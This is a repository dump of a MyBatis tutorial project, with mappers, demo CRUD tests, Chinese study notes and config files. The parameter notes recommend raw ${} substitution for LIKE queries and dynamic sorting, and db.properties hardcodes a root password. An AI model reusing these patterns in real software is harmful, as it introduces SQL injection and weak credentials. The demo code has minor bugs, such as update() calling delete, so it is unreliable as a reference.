    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/studentMapper.java",
    "content": "package com.jun.plugin.mybatis.pojo;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/23 21:11\n */\npublic interface studentMapper {\n    studentClass querystudentAndClass(int id);\n    student testTf(int id);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/pojo/studentMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE mapper\n        PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<!--该mapper.xml映射文件的唯一标识-->\n<mapper namespace=\"com.jun.plugin.mybatis.pojo.studentMapper\">\n\n    <!--    一对多   -->\n    <select id=\"querystudentAndClass\" parameterType=\"int\" resultMap=\"collectionQuery\">\n         select s.*,c.* from student s inner join studentclass c\n        on s.class_id = c.class_id\n        where c.class_id = #{classId}\n\n    </select>\n\n    <resultMap id=\"collectionQuery\" type=\"studentClass\">\n        <id property=\"classId\" column=\"class_id\"/>\n        <result property=\"className\" column=\"class_name\" />\n<!--        属性类型 javaType 元素类型 ofType-->\n        <collection property=\"students\"  ofType=\"student\">\n            <id property=\"id\" column=\"id\"/>\n            <result property=\"name\" column=\"name\" />\n            <result property=\"sex\" column=\"sex\" />\n            <result property=\"classId\" column=\"class_id\" />\n        </collection>\n    </resultMap>\n<!--    测试驼峰转换-->\n    <select id=\"testTf\" resultType=\"student\" parameterType=\"int\">\n        select * from student where class_id = #{id}\n    </select>\n<!--   延迟加载所需要的-->\n    <select id=\"queryAllStudent\" resultType=\"student\" parameterType=\"int\">\n         select * from student where class_id = #{class_id};\n    </select>\n\n\n</mapper>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/DemoTest1.java",
    "content": "package com.jun.plugin.mybatis.test;\n\nimport org.apache.ibatis.io.Resources;\nimport org.apache.ibatis.session.SqlSession;\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport com.jun.plugin.mybatis.pojo.blog;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.List;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 14:25\n */\npublic class DemoTest1 {\n    public static void main(String[] args) {\n        //查询单个blog\n        // queryOne();\n\n        //查询多个\n         //  queryAll();\n        //增加\n        add();\n        //删除\n        //delete();\n        //修改\n        update();\n\n    }\n\n    private static void update() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            String statement = \"com.jun.plugin.mybatis.pojo.blogMapper.updateBlog\";\n            blog blog =new blog(\"99\",\"测试\",\"yznl2\",\"2020-12-22 15.52.22\",1,true);\n            int count = sqlSession.delete(statement,blog);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"修改\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void delete() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            String statement = \"com.jun.plugin.mybatis.pojo.blogMapper.deleteBlogById\";\n            int id = 99;\n            int count = sqlSession.delete(statement,id);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"删除\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void add() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            String statement = \"com.jun.plugin.mybatis.pojo.blogMapper.addBlog\";\n           blog blog =new blog(\"99\",\"测试\",\"yznl\",\"2020-12-22 15.52.22\",1,true);\n            int count = sqlSession.insert(statement,blog);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"增加了\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void queryAll() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            String statement = \"com.jun.plugin.mybatis.pojo.blogMapper.queryAll\";\n            //动态代理 动态的将Object转换为blog\n            List<blog> blogs = sqlSession.selectList(statement);\n            System.out.println(blogs.size());\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    public static void queryOne(){\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            String statement = \"com.jun.plugin.mybatis.pojo.blogMapper.selectBlogById\";\n            String statement2 = \"com.jun.plugin.mybatis.pojo.blogMapper.time\";\n            //动态代理 动态的将Object转换为blog\n            blog blog = sqlSession.selectOne(statement,1);\n            SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            //String times = sqlSession.selectOne(statement2,2);\n            System.out.println(blog);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/DemoTest2.java",
    "content": "package com.jun.plugin.mybatis.test;\n\nimport org.apache.ibatis.io.Resources;\nimport org.apache.ibatis.session.SqlSession;\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport com.jun.plugin.mybatis.pojo.Grade;\nimport com.jun.plugin.mybatis.pojo.IBlogMapper;\nimport com.jun.plugin.mybatis.pojo.blog;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 14:25\n */\npublic class DemoTest2 {\n\n    public static void main(String[] args) {\n        //查询单个\n         //queryOne();\n\n        //查询多个\n        //queryAll();\n\n        //增加\n        //add();\n\n        //删除\n        //delete();\n\n        //修改\n        //update();\n\n        //带转换器\n        //selectBlogByIdWithConverter();\n\n        //添加 转换器\n        //addBlogWithConverter();\n\n        //使用map作为输入参数\n        //SelectBlogWithHashMap();\n\n        //返回值是HashMap\n        //ResultByMap();\n\n        //使用foreach 迭代对象数组\n        //foreach();\n\n        //使用foreach 迭代对象数组\n        //array();\n\n        //使用foreach 迭代集合\n        //listForeach();\n\n        //使用foreach 迭代对象数组\n        objectForeach();\n    }\n\n    private static void objectForeach() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            blog blog1 = new blog(); blog1.setTitle(\"1\");\n            blog blog2 = new blog(); blog2.setTitle(\"2\");\n            blog blog3 = new blog(); blog3.setTitle(\"2\");\n            blog[] blogs ={blog1,blog2,blog3};\n            List<blog> blogArray = blogMapper.objectForeach(blogs);\n            for (blog blog : blogArray) {\n                System.out.println(\"这个blog是\"+blog);\n            }\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    private static void listForeach() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            ArrayList<Integer> ids = new ArrayList<Integer>();\n            ids.add(1); ids.add(2);\n            List<blog> blogs = blogMapper.listForeach(ids);\n            for (blog blog : blogs) {\n                System.out.println(\"这个blog是\"+blog);\n            }\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    //foreach 迭代集合\n    private static void foreach() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            Grade grade = new Grade();\n            ArrayList<Integer> ids = new ArrayList<Integer>();\n            ids.add(1); ids.add(2);\n            grade.setIds(ids);\n            List<blog> blogs = blogMapper.foreach(grade);\n            for (blog blog : blogs) {\n                System.out.println(\"这个blog是\"+blog);\n            }\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    private static void array() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            Grade grade = new Grade();\n            int[] ids2 = new int[10];\n            ids2[0] = 1; ids2[1] = 2;\n            List<blog> blogs = blogMapper.arrayForeach(ids2);\n            for (blog blog : blogs) {\n                System.out.println(\"这个blog是\"+blog);\n            }\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    //查询Blog结果为Map类型\n    private static void ResultByMap() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            List<HashMap<String, Object>> hashMaps = blogMapper.ResultByMap();\n            for (HashMap<String, Object> hashMap : hashMaps) {\n                System.out.println(hashMap);\n            }\n\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    private static void SelectBlogWithHashMap() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            HashMap<String,Object> map = new HashMap();\n            map.put(\"id\",999);\n            List<blog> list = blogMapper.selectBlogWithHashMap(map);\n            System.out.println(\"一共拥有\"+list.size()+\"个\");\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void addBlogWithConverter() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            blog blog =new blog(\"999\",\"测试\",\"sex测试\",\"2020-12-22 15.52.22\",1,true);\n            int addCount = blogMapper.addBlogWithConverter(blog);\n            System.out.println(\"添加了\"+addCount+\"个\");\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(blog);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void selectBlogByIdWithConverter() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            blog blog = blogMapper.selectBlogByIdWithConverter(1);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(blog);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void update() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            blog blog =new blog(\"999\",\"测试\",\"yznl2\",\"2020-12-22 15.52.22\",1,true);\n            int count = blogMapper.updateBlog(blog);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"修改\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void delete() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            int id = 99;\n            int count =  blogMapper.deleteBlogById(id);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"删除\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void add() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n           blog blog =new blog(\"222\",\"1测试\",\"yznl\",\"2020-12-22 15.52.22\",1,false);\n            int count = blogMapper.addBlog(blog);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n            System.out.println(\"增加了\"+count+\"个\");\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n            sqlSession.close();\n        }\n    }\n\n    private static void queryAll() {\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            //动态代理 动态的将Object转换为blog\n            List<blog> blogs = blogMapper.queryAll();\n            System.out.println(blogs.size());\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    public static void queryOne(){\n        String resource = \"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            //动态代理 动态的将Object转换为blog\n            IBlogMapper blogMapper = sqlSession.getMapper(IBlogMapper.class);\n            blog blog = blogMapper.selectBlogById(1);\n            System.out.println(blog);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/DemoTest3.java",
    "content": "package com.jun.plugin.mybatis.test;\n\nimport org.apache.ibatis.io.Resources;\nimport org.apache.ibatis.session.SqlSession;\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.apache.ibatis.session.SqlSessionFactoryBuilder;\n\nimport com.jun.plugin.mybatis.pojo.*;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\n/**\n * @author LB\n * @version 1.0\n * @date 2020/12/22 14:25\n */\npublic class DemoTest3 {\n\n    public static void main(String[] args) {\n        //一对多查询\n        querystudentAndClass();\n        //测试驼峰转换\n        //testTf();\n        //一对多查询 延迟加载\n        querystudentAndClassLazy();\n    }\n\n    private static void querystudentAndClassLazy() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            studentClassMapper studentMapper = sqlSession.getMapper(studentClassMapper.class);\n            studentClass studentClass = studentMapper.querystudentAndClassLazy(1);\n            System.out.println(studentClass.getClassId()+\"===\"+studentClass.getClassName());\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            sqlSession.close();\n        }\n    }\n\n    private static void testTf() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            studentMapper studentMapper = sqlSession.getMapper(studentMapper.class);\n            student student = studentMapper.testTf(2);\n            System.out.println(student);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n    private static void querystudentAndClass() {\n        String resource=\"mybatis-config.xml\";\n        InputStream inputStream = null;\n        SqlSession sqlSession =null;\n        try {\n            inputStream = Resources.getResourceAsStream(resource);\n            SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream);\n            sqlSession = sqlSessionFactory.openSession();\n            studentMapper studentMapper = sqlSession.getMapper(studentMapper.class);\n            studentClass studentClass = studentMapper.querystudentAndClass(1);\n            System.out.println(studentClass);\n            //JDBC 方式 需要手动commit\n            sqlSession.commit();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }finally{\n            //sqlSession.close();\n        }\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/关联查询.txt",
    "content": "关联查询\n一对一:  业务扩展类\n <select id=\"\" parameterType=\"int\" resultType=\"业务扩展类(继承属性多的)\" >\n     select s.*,c.* from student s inner join studentCard c\n     on s.cardid = c.cardid\n     where s.stuno = #{stuNo}\n </select>\n一对一:  resultMap 将其中的一个类作为属性作为其中的一个类的成员\n <select id=\"\" parameterType=\"int\" resultMap=\"**\" >\n     select s.*,c.* from student s inner join studentCard c\n     on s.cardid = c.cardid\n     where s.stuno = #{stuNo}\n </select>\n <resultMap id=\"**\" type=\"属性多的\">\n    <!-- 学生的信息 -->\n    <id property=\"stuNo\" column=\"stuNo\"/>\n    <result properties=\"stuName\" column=\"stuName\" />\n    <!-- yiyi映射 填写对象名 private StudentCard card-->\n    <association property=\"card\" javaType=\"StudentCard\">\n           <id property=\"cardId\" column=\"cardId\"/>\n           <result property=\"cardInfo\" column=\"cardInfo\" />\n    </association>\n </resultMap>\n\n\n 一对多 collection 关联:\n     通过该字段将student和studentClass之间建立起来联系\n     private List<student> students;\n   <select id=\"querystudentAndClassLazy\" parameterType=\"int\" resultMap=\"collectionQueryLazy\">\n        select s.*,c.* from student s inner join studentclass c\n        on s.class_id = c.class_id\n        where c.class_id = #{classId}\n    </select>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/动态sql",
    "content": "<where> 语句会自动处理第一个<if> 标签中的 and 但不会处理之后的<if>\n\n<foreach> 查询id为 1,2,3的信息\n<foreach>迭代的类型: 数组 对象数组 集合 属性类(Grade类： List<Integer> ids)\nids={1,2,53}\nselect stuno,stuname,stuAge from student where stuno in(ids)\n\n\n其中的参数 先拼接open 然后就是item的东西 之后就是close中的东西\n\n<!--    迭代器  将多个元素放入对象中的属性-->\n    <select id=\"foreach\" parameterType=\"grade\" resultType=\"blog\">\n        select * from blog\n        <where>\n           <if test=\"ids!=null and ids.size>0\">\n               <foreach collection=\"ids\" open=\" and id in （\" close=\")\" item=\"id\" separator=\",\">\n                   #{id}\n               </foreach>\n           </if>\n        </where>\n    </select>\n\n<!--    迭代器  将多个元素放入数组中    List<blog> queryBlog(int[] ids)\n         int ids={1,2,3}\n         无论编写代码时候,传递的是什么参数名,在mapper.xml中必须使用array来代替 约定\n         数组固定叫array   -->\n\n\n   <select id=\"arrayForeach\" parameterType=\"int[]\" resultType=\"blog\">\n        select * from blog\n        <where>\n            <if test=\"array!=null and array.length>0\">\n                <foreach collection=\"array\" open=\" and id in (\" close=\")\" item=\"id\" separator=\",\">\n                    #{id}\n                </foreach>\n            </if>\n        </where>\n    </select>\n\n<!--    迭代器  将多个元素放入集合中\n         List<blog> listForeach(List<Integer> ids);\n         无论编写代码时候,传递的是什么参数名,在mapper.xml中必须使用list来代替 约定\n         集合固定叫list   -->\n   <select id=\"listForeach\" parameterType=\"list\" resultType=\"blog\">\n           select * from blog\n           <where>\n               <if test=\"list!=null and list.size>0\">\n                   <foreach collection=\"list\" open=\" and id in (\" close=\")\" item=\"id\" separator=\",\">\n                       #{id}\n                   </foreach>\n               </if>\n           </where>\n       </select>\n\n    <!--    迭代器  将多个元素放入集合中   blog[] blogs =  {blog1,blog2...}\n             无论编写代码时候,传递的是什么参数名,在mapper.xml中必须使用object来代替 约定\n             对象数组固定叫object  -->\n     <select id=\"objectForeach\" parameterType=\"Object[]\" resultType=\"blog\">\n            select * from blog\n            <where>\n                <if test=\"array!=null and array.length>0\">\n                    <foreach collection=\"array\" open=\" and id in (\" close=\")\" item=\"blog\" separator=\",\">\n                        #{blog.title}\n                    </foreach>\n                </if>\n            </where>\n        </select>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/参数不一致.txt",
    "content": "当属性名字和字段名不一致的时候,除了使用resultMap以外,还可以使用resultType + HashMap\n\n<select id=\"QueryByHashMap\" parameterType=\"int\" resultType=\"blog\">\n         select id \"stuNo\",name \"stuName\" from blog where id =#{id}\n</select>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/延迟加载.txt",
    "content": "需要再写一个mapper文件 和 sql语句\n建立 studentClassMapper.xml\n\n一对多延迟加载\n\nmybatis中的延迟加载 需要配置\n   <setting name=\"lazyLoadingEnabled\" value=\"true\"/>\n     <!--关闭立即加载-->\n   <setting name=\"aggressiveLazyLoading\" value=\"false\"/>\n\n\n\n    <!--一对多   延迟加载-->\n    <select id=\"querystudentAndClassLazy\" parameterType=\"int\" resultMap=\"collectionQueryLazy\">先查询班级 再查询班级的学生\n         select c.* from  studentclass c where class_id = #{classId}\n    </select>\n    <resultMap id=\"collectionQueryLazy\" type=\"studentClass\">\n        <id property=\"classId\" column=\"class_id\"/>\n        <result property=\"className\" column=\"class_name\" />\n        <!--        属性类型 javaType 元素类型 ofType\n                   再查询班级对应的学生       -->\n        <collection property=\"students\"  ofType=\"student\" select=\"nuc.yznl.pojo.studentMapper.queryAllStudent\" column=\"class_id\"></collection>\n    </resultMap>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/日志Log4uj.txt",
    "content": "log4j的jar\n<dependency>\n    <groupId>log4j</groupId>\n    <artifactId>log4j</artifactId>\n    <version>1.2.17</version>\n</dependency>\n\n开启日志\n   <settings>\n        <setting name=\"logImpl\" value=\"LOG4J\"/>\n    </settings>\n\n编写配置日志输出文件  log4j.propertis\n\n日志级别: 从高到低 ERROR、WARN、INFO、DEBUG\n如果设置为INFO 则只会先是info及以上级别的信息"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/test/输入参数说明.txt",
    "content": "输入参数是： parameterType\n1:类型是简单类型(8个基本类型+String)\n#{}和${}\n#{任意值}\n${value}\n#{}自动给String类型加上‘’ (自动类型转换)\n${} 原样输出 但是适合于 动态排序 (动态转换)\n\nselect stuno,stuname,stuage from student where stuname =#{value}\nselect stuno,stuname,stuage from student where stuname ='${value}'\n\n动态排序 重点是 不加''\nselect * from student order by ${value} asc\n\n#{} 可以放置sql注入 不适合like 在传入值得时候就应该加上 %%\n${} 这个不可以 适合like  eg: '%${stuNo}%'\n\n级联属性\nselect * from studentwhere homeaddress = #{address.homeAddress} or schooladdress = '${address.schoolAddress}'"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/resources/db.properties",
    "content": "driver=com.mysql.cj.jdbc.Driver\nurl=jdbc:mysql://localhost:3307/mybatis?serverTimezone=UTC&ampcharacterEncoding=utf-8\nusername=root\npassword=123456"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/resources/log4j.properties",
    "content": "# 控制台输出配置\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n\nlog4j.appender.Console.encoding=UTF-8\n\n\n#指定日志的输出级别与输出端\nlog4j.rootLogger=DEBUG,Console"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/resources/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE configuration\n        PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\n    <properties resource=\"db.properties\"/>\n   <settings>\n     <setting name=\"mapUnderscoreToCamelCase\" value=\"true\"/>\n     <setting name=\"logImpl\" value=\"LOG4J\"/>\n     <setting name=\"lazyLoadingEnabled\" value=\"true\"/>\n<!--       关闭立即加载-->\n     <setting name=\"aggressiveLazyLoading\" value=\"false\"/>\n   </settings>\n    <typeAliases>\n         <package name=\"nuc.yznl.pojo\"/>\n    </typeAliases>\n\n<!--    配置转换器-->\n    <typeHandlers>\n         <typeHandler handler=\"nuc.yznl.converter.booleanAndInt\" javaType=\"boolean\" jdbcType=\"INTEGER\"/>\n    </typeHandlers>\n\n    <environments default=\"development\">\n\n        <environment id=\"development\">\n            <!--          事务提交方式\n                  JDBC： 传统的jdbc方式处理事务 commit rollback close\n                  managed: 将事务交由其它的组件去托管(spring jboss),默认使用完会关闭事务链接\n                  如果不想关闭 可以配置\n                  <property name=\"closeConnection\" value=\"false\"/>\n                  -->\n            <transactionManager type=\"JDBC\"/>\n            <dataSource type=\"POOLED\">\n            <!--         数据源类型\n                  Unpooled： 传统的jdbc 打开链接 释放连接\n                  pooled：使用数据库连接池 一般是三方连接池\n                  jndi: 从tomcat中获取一个内置的数据库连接池\n                  -->\n                <property name=\"driver\" value=\"${driver}\"/>\n                <property name=\"url\" value=\"${url}\"/>\n                <property name=\"username\" value=\"${username}\"/>\n                <property name=\"password\" value=\"${password}\"/>\n            </dataSource>\n        </environment>\n    </environments>\n        <mappers>\n            <mapper resource=\"nuc/yznl/pojo/blogMapperInterface.xml\"/>\n            <mapper resource=\"nuc/yznl/pojo/studentMapper.xml\"/>\n            <mapper resource=\"nuc/yznl/pojo/studentClassMapper.xml\"/>\n        </mappers>\n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_mybatisplus/pom.xml",
